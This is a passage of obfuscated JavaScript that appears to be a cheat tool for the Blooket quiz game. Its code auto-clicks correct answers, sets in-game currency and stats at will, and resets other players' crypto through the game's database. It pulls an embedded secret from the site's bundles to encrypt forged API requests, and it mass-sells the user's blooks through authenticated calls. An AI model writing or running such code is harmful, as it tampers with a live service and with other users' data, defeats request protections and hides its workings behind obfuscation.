\x20#00','n\x20am','mber','17136hMfwLt','Gave','then','widt','user','ook','10px','remo','y\x20Ba','le\x20m','et\x20c','he\x20p','ter','disp','SHA-','\x20Are','cons','gues','om\x20p','ll\x20B','Stat','Meow','g\x20th','re\x20y','il.d','hang','e\x20\x27B','\x20Bas','tch\x20','enem','auth','getI','1784756VQcFEV','e\x20wi','wvPR','ling','ayer','o\x20se','nuse','rify','\x20bat','f\x20my','ev)\x20','duck','RJDK','ant\x20','30px','stag','foun','nce\x20','ttom','keyp','hado','xKMx','rTex','ward','rati','bsGJ','leng','7328628TltKFN','api.','1336730CSkETj','http','body','DFts','dail','limi','Win','d-re','t\x20hi','fire','dQYV','\x20but','appl','for\x20','Inco','orBj','tion','padd','Unlo','\x20fas','inne','ectA','\x20amo','ain\x20','t\x20fe','danc','WCUr','myLi','u\x0a\x0aH','\x20mul','256','aila','s/bl','tor','pend','u\x27re','ttaJ','dius','weig','ount','\x20sur','itie','Inst','incl','fact','ure\x20','upli','filt','tran','Pres','Gues','GCM','bLDe','LqCx','memo','chin','\x20Pla','ner','AES-','truc','yQlI','ttin','late','Hack','\x20fin','PUT','OaNu','catc','uchs','ingP','ts..','fill','d\x20in','raw','to!','roun','ve\x20l','Cust','s/ad','corr','xOf','loca','clic','Weig','ing','es\x20o','+)+$','moun','ve\x20h','I\x20li','inde','nter','setT','cryp','clas','xt\x20w','Must','hack','tche','euWZ','some','ect\x20','vkgO','\x20Ene','rror','tart','join','g\x20au','he\x20f','towe','\x20tak','pric','mit!','Sell','mate','otke','forE','mpat','iovy','eUpd','Prop','k\x20Fo','ypt','CtMN','raci','ecto','/pla','Auto','256728hxlFsB','forc','auto','ata.','AhuG','cate','PpAV','stri','If\x20y','-ses','Alri','omet','rred','colo','ByHF','as\x20a','word','\x20can','\x20of\x20','of\x20g','t,\x20p','nnMC','gbas','nse','amou','font','\x20con','Ngct','s://','in?','Toke','dn\x27t','Leve','ket\x0a','dom','getR','VHxh','t\x20be','fXcf','nBlo','?\x20(w','stoc','lobb','ack\x27','SvBr','teEl','eatu','base','com','assw','toSt','ized','BNCt','ng\x20y','pass','spli','23672iQqOCg','om/c','to\x20a','bloc','vent','onto','JVjo','bg-a','pt\x20b','life','dy\x27]','quer','look','QhtW','dama','y\x20To','\x20log','left','key','live','ghAU','sear','leve','Cryp','in\x20a','Sold','3170nxUrjk','bold','1.5r','addE','sil.',':swa','ions','emie','htMa','rush','bloo','g\x20bo','ques','Coul','cafe','Hand','tyle','ies','DgRt','take'];gbasilDotDev_F=function(){return kL;};return gbasilDotDev_F();}gbasilDotDev_v(),((()=>{const kK=gbasilDotDev_D;function i(im){const iy=gbasilDotDev_D;if(iy(0x202)+'m'===iy(0x202)+'m')try{if(iy(0x246)+'m'===iy(0x309)+'d'){if(B){const iV=C[iy(0x168)+'y'](O,arguments);return w=null,iV;}}else Array['from'](document[iy(0x15e)][iy(0x21f)+iy(0x33c)+'ecto'+iy(0x2b8)]('div'))[iy(0x18b)+'er'](iV=>iV[iy(0x170)+iy(0x28b)+'L']==im[iy(0x192)+iy(0x20f)+iy(0x133)+'e'][iy(0x23a)+iy(0x16c)]['corr'+'ectA'+'nswe'+'rs'][-0x1*0x2589+-0x3ac+0x2935])[-0x18*-0x132+0x1ac8+-0x3778]['clic'+'k']();}catch{if(iy(0x374)+'r'===iy(0x36d)+'N')iF[iy(0x192)+iy(0x20f)+iy(0x133)+'e'][iy(0x238)+'ks'][iy(0x1d0)+iy(0x388)](ic=>ic[iy(0x22a)+'l']=ic[iy(0x1cb)+'e']['leng'+'th']);else try{if(iy(0x1e2)+'K'!==iy(0x15f)+'z')Array['from'](document[iy(0x15e)][iy(0x21f)+iy(0x33c)+iy(0x1d9)+iy(0x2b8)](iy(0x2a7)))[iy(0x18b)+'er'](ic=>ic['inne'+iy(0x28b)+'L']==im[iy(0x192)+iy(0x20f)+iy(0x1d4)+'s'][iy(0x341)+'nt'][iy(0x23a)+iy(0x16c)][iy(0x1ab)+iy(0x171)+iy(0x249)+'rs'][0x22e4+-0x1c2b+-0x6b9])[0x1ef7*0x1+0x1aaa+-0x39a1*0x1][iy(0x1ae)+'k']();else{if(Z['stat'+'us']==0x1ccd*0x1+-0x1623+-0x4fd)return i7('Rate'+iy(0x161)+iy(0x164)+'t,\x20p'+iy(0x370)+'e\x20tr'+iy(0x294)+iy(0x173)+iy(0x19a)+'r');iD++,n==V&&t('Sold'+'\x20'+iX+(iy(0x387)+'ok')+(i8!=0x1e10+0x2183+-0x3f92?'s':''));}}catch{}}else iF['memo'+iy(0x20f)+iy(0x133)+'e'][iy(0x1bd)]='';}function t(im){const iK=gbasilDotDev_D;iK(0x200)+'a'!==iK(0x362)+'p'?im['stat'+iK(0x26d)+'e']['forc'+'eUpd'+'ate']():iF(iK(0x251)+iK(0x1c4)+iK(0x2cf)+iK(0x1e8)+'!');}function n(){const iL=gbasilDotDev_D;if('OjkD'+'y'===iL(0x353)+'y'){let im=document['quer'+iL(0x33c)+iL(0x1d9)+'r']('div['+'clas'+iL(0x2c1)+iL(0x347)+iL(0x313)+iL(0x21e)),iQ=Object[iL(0x37d)](im)['filt'+'er'](iV=>iV[iL(0x1b6)+iL(0x1ac)](iL(0x355)+iL(0x260)+iL(0x218)+iL(0x23d)+iL(0x257))>=0xbca+-0x25*0xf1+0x170b)[0x11b9*-0x1+0x59*-0x6a+-0x1*-0x3693];return im[iQ][iL(0x391)+iL(0x38f)][-0xdd1+-0x3*-0x905+-0xd3d][iL(0x354)+'er'];}else{const ic=D[iL(0x168)+'y'](B,arguments);return J=null,ic;}}function m(im){const iM=gbasilDotDev_D;if('vkgO'+'q'!==iM(0x1c2)+'q'){let iV=iC(iM(0x289)+iM(0x172)+'unt');if(!iq(iV))return iV(iM(0x35b)+iM(0x27a)+iM(0x25c)+'t');Z[iM(0x192)+'ized'+iM(0x133)+'e'][iM(0x2d0)]=i7(iV);}else return!(!im||isNaN(parseFloat(im)));}function Q(im){const iH=gbasilDotDev_D;if(iH(0x141)+'o'!=='wvPR'+'o')iF['stat'+iH(0x26d)+'e'][iH(0x1dd)+iH(0x1d3)+iH(0x2fa)]();else{let iV=prompt('Cash'+iH(0x172)+'unt');if(!m(iV))return alert(iH(0x35b)+'lid\x20'+iH(0x25c)+'t');im['memo'+iH(0x20f)+iH(0x133)+'e'][iH(0x23c)+iH(0x305)]=parseInt(iV);}}function V(im){const ie=gbasilDotDev_D;ie(0x381)+'K'===ie(0x302)+'Y'?(iq['key']=='w'&&(t[ie(0x2a9)+'e'][ie(0x3a8)+'lay']=Z[ie(0x2a9)+'e']['disp'+'lay']=='none'?'bloc'+'k':ie(0x375)),i7['key']=='q'&&iD(n())):document['loca'+'tion'][ie(0x26c)+ie(0x33d)]!='/caf'+'e'?alert(ie(0x18d)+ie(0x2ac)+ie(0x139)+'ack\x27'+ie(0x167)+ie(0x24b)):im[ie(0x192)+'ized'+ie(0x133)+'e']['food'+'s'][ie(0x1d0)+ie(0x388)](iV=>iV[ie(0x205)+'k']=0x1c49d*0x1+-0x91e4+0x53e6);}function c(im){const is=gbasilDotDev_D;if(is(0x154)+'h'!==is(0x1bf)+'s')Object[is(0x37d)](im[is(0x192)+'ized'+is(0x133)+'e'][is(0x267)+is(0x185)+'s'])[is(0x1d0)+is(0x388)](iQ=>im[is(0x192)+is(0x20f)+'Stat'+'e'][is(0x267)+is(0x185)+'s'][iQ]=0x4*0x870+0x8*-0x45f+0x139);else{let iV=iO['quer'+'ySel'+'ecto'+'r'](is(0x29b)+'clas'+is(0x2c1)+is(0x347)+is(0x313)+is(0x21e)),ic=i6[is(0x37d)](iV)[is(0x18b)+'er'](ig=>ig[is(0x1b6)+is(0x1ac)](is(0x355)+is(0x260)+is(0x218)+is(0x23d)+is(0x257))>=0x3a6*-0x1+-0x314*0x8+0x1c46)[-0x1*-0x2271+0xea+-0xbc9*0x3];return iV[ic][is(0x391)+is(0x38f)][0x1c59+0x1f78+-0x3bd0]['_own'+'er'];}}function d(im){const iv=gbasilDotDev_D;if('uFjM'+'z'!=='xZmg'+'O'){let iQ=prompt('Cryp'+iv(0x216)+iv(0x1b3)+'t');if(!m(iQ))return alert('Inva'+iv(0x27a)+iv(0x25c)+'t');im['memo'+iv(0x20f)+'Stat'+'e'][iv(0x1b9)+'to']=parseInt(iQ);}else iF['stat'+iv(0x26d)+'e'][iv(0x1c9)+'rs'][iv(0x1d0)+iv(0x388)](ic=>{ic['dama'+'ge']=0x2a0f2b0+-0xad41842+0x1*0xe290691,ic['full'+'Cd']=0x58*-0x33+-0x250f+-0x145*-0x2b+0.001;});}function o(im){const iu=gbasilDotDev_D;iu(0x176)+'G'===iu(0x176)+'G'?im[iu(0x192)+iu(0x20f)+iu(0x133)+'e'][iu(0x212)+'word']=prompt(iu(0x1a9)+iu(0x131)+iu(0x20d)+iu(0x26a)):i6[iu(0x2f0)](b['body'][iu(0x21f)+iu(0x33c)+iu(0x1d9)+iu(0x2b8)](iu(0x2a7)))['filt'+'er'](iV=>iV[iu(0x170)+'rHTM'+'L']==iq[iu(0x192)+'ized'+iu(0x133)+'e'][iu(0x23a)+iu(0x16c)][iu(0x1ab)+iu(0x171)+'nswe'+'rs'][-0x1204+-0x1*0x25+-0x1*-0x1229])[0x52*-0x46+0x23a0*-0x1+-0x3a0c*-0x1][iu(0x1ae)+'k']();}function a(im){const iS=gbasilDotDev_D;if('ZNqg'+'s'===iS(0x2e9)+'s'){let iQ=Array[iS(0x2f0)](document['quer'+iS(0x33c)+iS(0x1d9)+iS(0x2b8)](iS(0x2a7)))[iS(0x303)](iV=>iV[iS(0x170)+'rTex'+'t']==im[iS(0x192)+iS(0x20f)+iS(0x133)+'e'][iS(0x1ab)+iS(0x2dd)+iS(0x20d)+iS(0x26a)]);iQ&&iQ[iS(0x1ae)+'k']();}else{let ic=iC(iS(0x2c3)+iS(0x2b9)+iS(0x39a));if(!iq(ic))return ic(iS(0x35b)+'lid\x20'+iS(0x25c)+'t');Z['memo'+iS(0x20f)+iS(0x133)+'e'][iS(0x1a7)+'d']=i7(ic);}}function l(im){const iE=gbasilDotDev_D;if(iE(0x2d9)+'M'==='AzmD'+'M')im[iE(0x192)+'ized'+iE(0x133)+'e']['hack']='';else{let iV=iC('Gues'+iE(0x360)+iE(0x183));if(!iq(iV))return iV(iE(0x35b)+iE(0x27a)+iE(0x25c)+'t');Z[iE(0x192)+iE(0x20f)+iE(0x133)+'e'][iE(0x130)+iE(0x35a)+'re']=i7(iV);}}function Z(im){const iA=gbasilDotDev_D;if('BjZx'+'N'===iA(0x2f9)+'q')b(iC),iq(t);else{let iV=prompt(iA(0x34a)+iA(0x1ee)+'play'+'er');!iV||im[iA(0x192)+'ized'+iA(0x1d4)+'s'][iA(0x165)+iA(0x20b)][iA(0x2d7)+'atab'+iA(0x2f8)+'al'](im['memo'+iA(0x20f)+'Prop'+'s'][iA(0x341)+'nt'][iA(0x245)+'Id'],'c',(...ic)=>{const iW=iA;if(iW(0x210)+'c'!==iW(0x345)+'T'){let ig=Object[iW(0x37d)](ic[-0x2*-0xa61+0x9*-0x8b+-0x11*0xef]);ig[iW(0x1c0)](iR=>iR==iV)?ig[iW(0x1d0)+iW(0x388)]((iR,id)=>{const ib=iW;ib(0x373)+'a'!=='hfcY'+'a'?iF(ib(0x23b)+ib(0x33b)+ib(0x174)+ib(0x13b)+ib(0x13d)+ib(0x25d)+ib(0x314)):iR==iV&&(im[ib(0x192)+ib(0x20f)+ib(0x1d4)+'s'][ib(0x165)+ib(0x20b)][ib(0x25b)+'al']({'id':im[ib(0x192)+ib(0x20f)+ib(0x1d4)+'s']['clie'+'nt'][ib(0x245)+'Id'],'path':'c/'+im['memo'+ib(0x20f)+ib(0x1d4)+'s'][ib(0x341)+'nt'][ib(0x33d)],'val':{'p':im[ib(0x192)+ib(0x20f)+'Stat'+'e'][ib(0x212)+ib(0x1ec)],'b':im[ib(0x192)+'ized'+'Prop'+'s'][ib(0x341)+'nt']['bloo'+'k'],'cr':im[ib(0x192)+ib(0x20f)+'Stat'+'e']['cryp'+'to'],'tat':iR+':'+(ic[-0xa27+-0x679*0x2+-0x1*-0x1719][iR]['cr']||-0x13d5+-0xefe*0x2+0x147*0x27)}}),alert(ib(0x2f2)+'ttin'+ib(0x135)+ib(0x2b4)+ib(0x1b9)+ib(0x1a6)));}):alert(iW(0x23b)+iW(0x1fb)+iW(0x19c)+iW(0x2c4)+iW(0x143)+'!');}else iF[iW(0x2a5)+iW(0x26d)+'e'][iW(0x13c)+iW(0x23f)]=[];});}}function e(im){const k0=gbasilDotDev_D;if(k0(0x378)+'Z'!==k0(0x1f1)+'N')im[k0(0x192)+k0(0x20f)+k0(0x133)+'e']['danc'+'e']=!(-0x7*-0x49d+0x22b5+-0x42ff),im[k0(0x192)+k0(0x20f)+'Stat'+'e']['joke']=!(0x178a+0x890*-0x1+-0xef9*0x1),im[k0(0x192)+k0(0x20f)+k0(0x133)+'e']['lol']=!(-0x5*-0x77e+-0x5*0x65b+0x2*-0x2d7),im[k0(0x192)+k0(0x20f)+'Stat'+'e']['slow']=!(-0x3*0x171+0x1*0x20cc+-0x1c78);else{let iV=i6[k0(0x368)+k0(0x37f)+k0(0x30e)][k0(0x38a)](ic=>iV[k0(0x37d)](ic[0xc31+-0x5c+-0xbd4])[k0(0x38a)](ig=>ic[-0xbc*0x2f+0x11e7+0x109e][ig]))[k0(0x31d)+'ce']((ic,ig)=>[...ic,...ig],[])[k0(0x303)](ic=>/\"\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\"/[k0(0x287)](ic[k0(0x20e)+k0(0x35c)]())&&/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/[k0(0x287)](ic['toSt'+'ring']()))['toSt'+k0(0x35c)]();iC({'blooketBuild':iV[k0(0x384)+'h'](/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}/)[-0xe6b+-0x1a5*-0xe+-0x89b],'secret':iV['matc'+'h'](/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/)[-0x1*0x4d5+0x16b2+-0x5f4*0x3]});}}function b(im){const k1=gbasilDotDev_D;if(k1(0x28d)+'y'===k1(0x28d)+'y')im[k1(0x192)+k1(0x20f)+k1(0x133)+'e'][k1(0x238)+'ks'][k1(0x1d0)+k1(0x388)](iQ=>iQ['time'][k1(0x1a3)](-0x11b5+0x111e+0x97+0.001));else return F[k1(0x20e)+k1(0x35c)]()[k1(0x229)+'ch']('(((.'+'+)+)'+'+)+$')[k1(0x20e)+'ring']()[k1(0x3ab)+k1(0x197)+k1(0x17d)](D)[k1(0x229)+'ch'](k1(0x306)+k1(0x390)+k1(0x1b2));}function i0(im){const k2=gbasilDotDev_D;k2(0x334)+'Z'!==k2(0x334)+'Z'?b||(iC(iq),t=!(0x1e00+-0x3d*0x40+0xec0*-0x1)):im[k2(0x192)+k2(0x20f)+k2(0x133)+'e'][k2(0x386)+k2(0x33a)+'Need'+'ed']=-0x20a+0x1350*-0x1+0xb*0x1f1;}function i1(im){const k3=gbasilDotDev_D;if(k3(0x350)+'q'!==k3(0x350)+'q'){let iV=iC('Cryp'+k3(0x216)+k3(0x1b3)+'t');if(!iq(iV))return iV(k3(0x35b)+k3(0x27a)+k3(0x25c)+'t');Z[k3(0x192)+k3(0x20f)+k3(0x133)+'e'][k3(0x1b9)+'to']=i7(iV);}else im[k3(0x192)+'ized'+k3(0x133)+'e'][k3(0x238)+'ks']['forE'+'ach'](iV=>iV[k3(0x22a)+'l']=iV[k3(0x1cb)+'e'][k3(0x159)+'th']);}function i2(im){const k4=gbasilDotDev_D;if(k4(0x2f1)+'Y'!=='KUdX'+'Y')V==t&&(iX[k4(0x192)+k4(0x20f)+k4(0x1d4)+'s'][k4(0x165)+k4(0x20b)][k4(0x25b)+'al']({'id':i8[k4(0x192)+k4(0x20f)+k4(0x1d4)+'s'][k4(0x341)+'nt'][k4(0x245)+'Id'],'path':'c/'+it[k4(0x192)+'ized'+k4(0x1d4)+'s']['clie'+'nt']['name'],'val':{'p':m['memo'+k4(0x20f)+k4(0x133)+'e'][k4(0x212)+k4(0x1ec)],'b':Q['memo'+'ized'+k4(0x1d4)+'s'][k4(0x341)+'nt'][k4(0x238)+'k'],'cr':V[k4(0x192)+k4(0x20f)+k4(0x133)+'e']['cryp'+'to'],'tat':c+':'+(Q[-0x2345+0x81d+0x1b28][i9]['cr']||-0x1b7b+0x45d*0x4+0xa07)}}),d('Rese'+'ttin'+'g\x20th'+k4(0x2b4)+'cryp'+'to!'));else{let iV=prompt(k4(0x1af)+'ht');if(!m(iV))return alert(k4(0x35b)+k4(0x27a)+'inpu'+'t');im['memo'+k4(0x20f)+'Stat'+'e'][k4(0x182)+'ht']=parseInt(iV);}}var i3=()=>new Promise((im,iQ)=>{const k5=gbasilDotDev_D;if(k5(0x2ef)+'k'!==k5(0x2c2)+'j')try{if('aRCh'+'I'===k5(0x1f7)+'j'){let ic=b();try{Z(ic),i7(ic);}catch{n(k5(0x251)+k5(0x1c4)+k5(0x2cf)+k5(0x1e8)+'!');}}else{let ic=window[k5(0x368)+k5(0x37f)+k5(0x30e)][k5(0x38a)](ig=>Object[k5(0x37d)](ig[0x4ef*0x1+0x2*-0x88f+0xc30])['map'](iR=>ig[0x1d17+-0x1669+-0x6ad][iR]))[k5(0x31d)+'ce']((ig,iR)=>[...ig,...iR],[])[k5(0x303)](ig=>/\"\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\"/['test'](ig['toSt'+'ring']())&&/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/[k5(0x287)](ig[k5(0x20e)+k5(0x35c)]()))[k5(0x20e)+k5(0x35c)]();im({'blooketBuild':ic['matc'+'h'](/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}/)[-0x2*0xb89+0x220b+-0xaf9],'secret':ic['matc'+'h'](/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/)[0x5*0x5e9+0x36d*-0x5+0x1*-0xc6b]});}}catch{k5(0x24a)+'x'===k5(0x38b)+'w'?(i6[k5(0x3a2)+'ve'](),b['remo'+'veEv'+k5(0x2ad)+k5(0x38d)+k5(0x195)](k5(0x152)+k5(0x33a),iC,!(-0x3c*-0x3f+0x2f*-0x78+0x136*0x6))):iQ(k5(0x23b)+'d\x20no'+k5(0x174)+'tch\x20'+'auth'+k5(0x25d)+k5(0x314));}else{let id=iC(k5(0x305)+k5(0x172)+k5(0x24e));if(!iq(id))return id('Inva'+'lid\x20'+k5(0x25c)+'t');Z[k5(0x192)+'ized'+k5(0x133)+'e'][k5(0x23c)+'Cash']=i7(id);}}),i4=async(im,iQ)=>{const k6=gbasilDotDev_D;if(k6(0x236)+'o'===k6(0x236)+'o'){let iV=new TextEncoder()[k6(0x32c)+'de'](JSON[k6(0x1e3)+'ngif'+'y'](im)),ic=new TextEncoder()[k6(0x32c)+'de'](iQ),ig=await window[k6(0x1b9)+'to'][k6(0x2f6)+'le'][k6(0x2b6)+'st'](k6(0x3a9)+k6(0x17a),ic),iR=await window[k6(0x1b9)+'to'][k6(0x2f6)+'le']['impo'+'rtKe'+'y'](k6(0x1a5),ig,{'name':k6(0x196)+k6(0x18f)},!(0xdaf+-0x1*0x46d+-0x941),[k6(0x338)+k6(0x1d6)]),id=window[k6(0x1b9)+'to'][k6(0x1ff)+k6(0x279)+k6(0x2ca)+'ues'](new Uint8Array(-0x1d04+-0x80b+0x54d*0x7)),ip=Array[k6(0x2f0)](id)[k6(0x38a)](io=>String[k6(0x2f0)+'Char'+'Code'](io))[k6(0x1c6)](''),iP=await window[k6(0x1b9)+'to'][k6(0x2f6)+'le'][k6(0x338)+k6(0x1d6)]({'name':k6(0x196)+k6(0x18f),'iv':id},iR,iV),iU=Array[k6(0x2f0)](new Uint8Array(iP))[k6(0x38a)](io=>String[k6(0x2f0)+k6(0x284)+'Code'](io))[k6(0x1c6)]('');return window[k6(0x2ab)](ip+iU);}else i6[k6(0x37d)](b['memo'+'ized'+k6(0x133)+'e'][k6(0x267)+k6(0x185)+'s'])['forE'+'ach'](ia=>iq[k6(0x192)+k6(0x20f)+k6(0x133)+'e'][k6(0x267)+k6(0x185)+'s'][ia]=-0x1e43*-0x1+-0x2287+0x445);};async function i5(){const k7=gbasilDotDev_D;if(k7(0x2c0)+'i'!=='bAmp'+'w'){if(prompt(k7(0x30b)+k7(0x2da)+k7(0x220)+k7(0x3a5)+k7(0x138)+k7(0x1b1)+k7(0x29d)+k7(0x148)+k7(0x1f6)+k7(0x2e6)+k7(0x30c)+k7(0x27f)+k7(0x20a)+k7(0x33f)+k7(0x1eb)+k7(0x2d6)+k7(0x150)+k7(0x1ef)+k7(0x319)+k7(0x211)+k7(0x244)+'acco'+'unt\x20'+k7(0x328)+k7(0x343)+k7(0x1e4)+k7(0x348)+k7(0x140)+'llin'+'g\x20to'+k7(0x1ca)+'e\x20th'+k7(0x339)+k7(0x270)+k7(0x243)+k7(0x2b0)+'ligh'+'t\x20co'+k7(0x2f7)+'ienc'+k7(0x380)+k7(0x1b7)+'\x20\x22I\x20'+k7(0x227)+k7(0x358)+k7(0x2bd)+k7(0x293)+k7(0x16f)+k7(0x2ba)+k7(0x269)+k7(0x310)+k7(0x3a6)+k7(0x2cd)+k7(0x201)+k7(0x2e8))!=k7(0x1b5)+k7(0x1a8)+k7(0x325)+k7(0x310)+k7(0x1c8)+k7(0x337)+k7(0x33e))return alert(k7(0x1e6)+'ght,'+'\x20exi'+k7(0x255)+'.');let im=await(await fetch(k7(0x15d)+k7(0x1f8)+k7(0x15b)+k7(0x238)+'ket.'+k7(0x394)+k7(0x28f)+k7(0x39f)+k7(0x2dc)+'rify'+k7(0x1e5)+k7(0x38c),{'credentials':'incl'+k7(0x324)}))[k7(0x2a4)]();if(im!=null&&im['name'])im=im[k7(0x33d)];else return alert(k7(0x23b)+k7(0x1fb)+'\x20get'+'\x20nam'+k7(0x286)+k7(0x136)+'ou\x20s'+k7(0x189)+'you\x27'+'re\x20l'+k7(0x2de)+k7(0x1a4)+'?');let iQ=!(-0x2*0x801+0x935*0x1+0x6ce),iV=ic=>{const k8=k7;k8(0x301)+'N'!==k8(0x301)+'N'?iO['memo'+k8(0x20f)+k8(0x133)+'e'][k8(0x386)+k8(0x33a)]=i6['memo'+'ized'+'Stat'+'e'][k8(0x2b7)+k8(0x322)+'nt']:iQ||(alert(ic),iQ=!(-0x2*-0x2e8+-0x26e6+0x2116));};fetch(k7(0x15d)+k7(0x1f8)+k7(0x15b)+k7(0x238)+k7(0x261)+k7(0x394)+k7(0x28f)+k7(0x39f)+k7(0x17c)+k7(0x266),{'credentials':'incl'+'ude'})['then'](async ic=>{const k9=k7;if('Jbmf'+'h'!==k9(0x29a)+'h')iO[k9(0x192)+'ized'+'Stat'+'e'][k9(0x2e1)+k9(0x291)+k9(0x266)]=[],i6[k9(0x192)+k9(0x20f)+k9(0x133)+'e'][k9(0x241)+k9(0x203)+k9(0x272)]=[];else{let iR=await ic[k9(0x2a4)](),id=0x163e+-0xb9*0x1e+-0x3*0x30,ip=Object[k9(0x37d)](iR)[k9(0x38a)](iP=>iR[iP]-(-0x23e0+-0x2327+0x4708))[k9(0x31d)+'ce']((iP,iU)=>iP+iU,0x9*0x279+0x348+-0x3*0x883);if(ip==-0x223*0x8+-0x15b1+-0x1*-0x26c9)return alert('No\x20d'+k9(0x18a)+k9(0x1e1)+k9(0x387)+k9(0x2b1));Object[k9(0x37d)](iR)[k9(0x1d0)+k9(0x388)](iP=>{const ki=k9;if('FGVG'+'L'===ki(0x265)+'L')iR[iP]--,!(iR[iP]<=-0x26c4+-0x7*0x3f4+0x4270)&&fetch(ki(0x15d)+ki(0x1f8)+ki(0x15b)+'bloo'+ki(0x261)+ki(0x394)+ki(0x28f)+ki(0x39f)+ki(0x344)+ki(0x273)+'ook',{'credentials':ki(0x187)+ki(0x324),'body':JSON['stri'+'ngif'+'y']({'name':im,'blook':iP,'numSold':iR[iP]}),'method':ki(0x369)})[ki(0x39d)](iU=>{const kk=ki;if(kk(0x1e0)+'E'!==kk(0x1e0)+'E'){let ia=V('Name'+kk(0x1ee)+'play'+'er');!ia||t['memo'+kk(0x20f)+kk(0x1d4)+'s'][kk(0x165)+kk(0x20b)][kk(0x2d7)+kk(0x288)+kk(0x2f8)+'al'](iX[kk(0x192)+'ized'+kk(0x1d4)+'s']['clie'+'nt'][kk(0x245)+'Id'],'c',(...iI)=>{const kF=kk;let iN=ia[kF(0x37d)](iI[0x26d2+0x185*0x11+0x40a7*-0x1]);iN[kF(0x1c0)](il=>il==ia)?iN[kF(0x1d0)+kF(0x388)]((il,iT)=>{const kD=kF;il==ia&&(iI['memo'+'ized'+kD(0x1d4)+'s'][kD(0x165)+kD(0x20b)][kD(0x25b)+'al']({'id':iN['memo'+kD(0x20f)+kD(0x1d4)+'s'][kD(0x341)+'nt']['host'+'Id'],'path':'c/'+i5[kD(0x192)+'ized'+kD(0x1d4)+'s']['clie'+'nt']['name'],'val':{'p':ih[kD(0x192)+kD(0x20f)+kD(0x133)+'e'][kD(0x212)+kD(0x1ec)],'b':i4[kD(0x192)+kD(0x20f)+kD(0x1d4)+'s'][kD(0x341)+'nt'][kD(0x238)+'k'],'cr':i3['memo'+'ized'+kD(0x133)+'e'][kD(0x1b9)+'to'],'tat':il+':'+(iI[-0x2403+-0x10bd+0x34c0][il]['cr']||0x1*0x301+-0x11ac+0x1*0xeab)}}),ix(kD(0x2f2)+kD(0x199)+kD(0x135)+kD(0x2b4)+kD(0x1b9)+'to!'));}):i0(kF(0x23b)+kF(0x1fb)+kF(0x19c)+kF(0x2c4)+'ayer'+'!');});}else{if(iU[kk(0x2a5)+'us']==0x1*-0x163c+0x187*-0x13+0xa96*0x5)return iV('Rate'+kk(0x161)+kk(0x164)+kk(0x1f0)+kk(0x370)+kk(0x26f)+kk(0x294)+kk(0x173)+kk(0x19a)+'r');id++,id==ip&&alert('Sold'+'\x20'+ip+(kk(0x387)+'ok')+(ip!=0x8d9+0x2065+-0x17*0x1cb?'s':''));}})[ki(0x19f)+'h'](iU=>{const kB=ki;if('zubT'+'m'===kB(0x1d2)+'c')try{iq[kB(0x2f0)](im[kB(0x15e)][kB(0x21f)+kB(0x33c)+'ecto'+'rAll']('div'))['filt'+'er'](ia=>ia['inne'+kB(0x28b)+'L']==i7[kB(0x192)+kB(0x20f)+'Prop'+'s'][kB(0x341)+'nt'][kB(0x23a)+kB(0x16c)][kB(0x1ab)+kB(0x171)+kB(0x249)+'rs'][-0x2*-0x5ef+-0x26ea+0x1b0c])[-0x26fa+-0x251a*0x1+0x4c14*0x1][kB(0x1ae)+'k']();}catch{}else alert(kB(0x251)+kB(0x1c4)+kB(0x2cf)+kB(0x1e8)+kB(0x2c8)+kB(0x142)+kB(0x387)+kB(0x2b1));});else{let io=t[ki(0x37d)](iX[-0x1*0x246d+0x1*0xc67+0xf6*0x19]);io[ki(0x1c0)](ia=>ia==io)?io['forE'+ki(0x388)]((ia,iI)=>{const kJ=ki;ia==io&&(iQ['memo'+kJ(0x20f)+kJ(0x1d4)+'s'][kJ(0x165)+'base'][kJ(0x25b)+'al']({'id':io['memo'+kJ(0x20f)+kJ(0x1d4)+'s'][kJ(0x341)+'nt']['host'+'Id'],'path':'c/'+a[kJ(0x192)+kJ(0x20f)+kJ(0x1d4)+'s'][kJ(0x341)+'nt'][kJ(0x33d)],'val':{'p':i1['memo'+kJ(0x20f)+kJ(0x133)+'e'][kJ(0x212)+'word'],'b':iP['memo'+'ized'+kJ(0x1d4)+'s']['clie'+'nt'][kJ(0x238)+'k'],'cr':i0['memo'+kJ(0x20f)+kJ(0x133)+'e'][kJ(0x1b9)+'to'],'tat':ia+':'+(o[0x2206+-0x22d4+-0x1*-0xce][ia]['cr']||-0x1e1f+0x61*-0x5+0xc*0x2ab)}}),Z('Rese'+kJ(0x199)+kJ(0x135)+'eir\x20'+kJ(0x1b9)+'to!'));}):e('Coul'+ki(0x1fb)+ki(0x19c)+'d\x20pl'+'ayer'+'!');}});}})[k7(0x19f)+'h'](ic=>{const kr=k7;kr(0x191)+'v'===kr(0x191)+'v'?alert(kr(0x251)+kr(0x1c4)+kr(0x2cf)+kr(0x1e8)+kr(0x2af)+kr(0x193)+kr(0x340)+'ooks'+'!'):iF[kr(0x192)+kr(0x20f)+kr(0x133)+'e'][kr(0x238)+'ks']['forE'+'ach'](iR=>iR[kr(0x2a3)]['fill'](0x1035+0x23*-0xa6+-0x1*-0x67d+0.001));});}else iO[k7(0x222)+'ge']=0x11*0x2be496+-0x67524b*-0x14+-0x506bad3,i6[k7(0x332)+'Cd']=-0x25f7+-0x1bd3+-0xaf7*-0x6+0.001;}function i6(){const kt=gbasilDotDev_D;if(kt(0x32d)+'C'!==kt(0x32e)+'d')fetch(kt(0x15d)+kt(0x1f8)+kt(0x15b)+kt(0x238)+kt(0x261)+'com/'+'api/'+kt(0x39f)+'s/ve'+kt(0x146)+'-tok'+'en',{'credentials':'incl'+kt(0x324)})['then'](im=>im['json']())['then'](({name:im})=>{const 